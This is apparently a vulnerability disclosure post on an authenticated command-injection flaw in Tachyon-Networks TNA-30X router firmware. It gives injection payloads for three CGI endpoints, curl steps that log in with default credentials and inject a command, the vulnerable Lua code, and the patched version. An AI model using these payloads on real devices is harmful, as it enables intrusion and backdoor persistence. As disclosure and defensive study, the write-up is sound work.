Tachyon-Networks - Authenticated RCE

Overview

Incomplete sanitisation of inputs from an authenticated user with admin privilege can perform remote command execution.

Whilst an “admin” user is already privileged, the ability to perform RCE allows for potential backdoor persistence to be established as the underlying OS is not exposed during normal operation.

For example if a threat actor was able to successfully authenticate (eg. default credentials, or insider threat) they could launch the Dropbear SSH service to gain full shell access, implanting persistent authentication tokens or backdoor accounts.

Impacted Firmwares

This has been tested on TNA-30X firmwares 1.11.4 and 1.12.0 (beta 1) with both being vulnerable, older firmwares are also likely to be impacted

Vulnerable HTTP Endpoints

Below are the known vulnerable endpoints, this may not be a complete list

Substitute PAYLOAD with the desired command to execute

Endpoint HTTP Method Payload
/cgi.lua/traceroute POST {"ip_address":"$(PAYLOAD)","selected_ip":"IPv4"}
/cgi.lua/ping POST {"ip_address":"$(PAYLOAD)","count":3,"selected_ip":"1.1.1.1"}
/cgi.lua/speedtest POST {"mac": "00:00:00:00:00:00", "remote_mac": "00:00:00:00:00:00", "remote_interface": "eth0", "direction": "remote", "interface": "$(PAYLOAD)"}

Exploit Steps

  1. Authenticate to the target device via the /cgi.lau/login http endpoint, retrieving the token from the cookie header
    curl -k -v 'https://192.168.1.1/cgi.lua/login' -X POST -H 'Content-Type: application/json' --data-raw '{"username":"root","password":"admin"}'
    Note: Unnecessary use of -X or --request, POST is already inferred.
    *   Trying 192.168.1.1:443...
    * Connected to 192.168.1.1 (192.168.1.1) port 443
    ...
    > POST /cgi.lua/login HTTP/1.1
    > Host: 192.168.1.1
    ...
    < HTTP/1.1 200 OK
    ...
    < Set-Cookie: token=BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU; path=/
    ...
    * Connection #0 to host 192.168.1.1 left intact
    {"level":0,"first_login":false,"auth":true}% 
    
  2. Execute payload with one of the vulnerable http endpoints, using the token obtained in the previous step
    PAYLOAD="touch /rooted";
    TOKEN="BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU";
    TARGET="192.168.1.1";
    curl -i -s -k -X $'POST' \
     -H "Host: $TARGET" -H $'Content-Length: 56' \
     -b "token=$TOKEN" \
     --data-binary "{\"ip_address\":\"\$($PAYLOAD)\",\"selected_ip\":\"IPv4\"}" \
     "https://$TARGET/cgi.lua/traceroute"
    

Vulnerable Code

Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.

ping.lua

local function execute_ping(ip_address, count, selected_ip)
	local command
	if selected_ip == "IPv6" then
		command = string.format("busybox ping6 -c %u \"%s\"", count, ip_address)
	else
		command = string.format("busybox ping -c %u \"%s\"", count, ip_address)
	end
	return wsutils.read_pipe_to_event("ping-out", command)
end

local function ping_callback(req, res) -- luacheck: no unused args
	local ip_address, count, selected_ip, message_body

	if req.method ~= "POST" then
		return false, 404, "No service"
	end

	message_body = json.decode(req.POST.post_data)
	if not message_body then
		return false, 400, "Bad request - invalid content"
	end

	selected_ip = common.escape_double_quotes(message_body.selected_ip)
	ip_address = common.escape_double_quotes(message_body.ip_address)

	if type(ip_address) ~= "string" then
		return false, 400, "No IP address provided"
	end

	count = common.escape_double_quotes(message_body.count)
	if count then
		if tonumber(count) then
			count = tonumber(count)
		else
			return false, 400, "Ping iterations count must be a number"
		end
	else
		count = 3
	end

	return process.bgcall(execute_ping, ip_address, count, selected_ip)
end

Outcomes

After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.

No CVE IDs have been assigned as of this post.

Affected Products:

Tachyon-Network TNA and TNS series devices

Mitigation:

Update impacted devices to Version 1.11.5 or later.